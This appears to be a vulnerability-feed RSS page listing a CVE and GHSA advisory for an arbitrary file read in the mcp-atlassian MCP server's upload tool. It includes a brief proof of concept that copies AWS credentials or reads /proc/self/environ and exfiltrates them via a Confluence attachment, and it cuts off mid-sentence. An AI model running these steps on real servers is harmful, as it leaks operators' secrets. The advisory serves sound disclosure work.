https://vulnerability.circl.lu/rss/recent/all/10 Most recent entries from all 2026-10-02T21:42:32.098071+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent entries. https://vulnerability.circl.lu/vuln/cve-2026-77259 CVE-2026-77259 — MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials 2026-10-02T21:42:32.115203+00:00

Affected: sooperset mcp-atlassian

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment opens a caller-selected server-local file without checking that the resolved path remains in the workspace. A caller can upload environment files, credentials, or other readable host data to a Confluence page and retrieve it through Atlassian. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, file_path, and open(file_path, "rb"), which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.

 https://vulnerability.circl.lu/vuln/ghsa-6cr4-ccf3-x7h4 GHSA-6cr4-ccf3-x7h4 — MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials 2026-10-02T21:42:32.115344+00:00

Affected: PyPI: mcp-atlassian

### Summary

Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call.

--- ### Details

`AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check:

```python # line 477 files = {"file": (filename, open(file_path, "rb"))} ``` The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization.

--- ### PoC

```bash # 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly) cp ~/.aws/credentials /tmp/diagram.png

# 2. Call the MCP tool confluence_upload_attachment( content_id = "<any page attacker can edit>", file_path = "/tmp/diagram.png" )

# 3. Download attachment from Confluence — contains raw credentials ``` Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact.

--- ### Impact Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/env…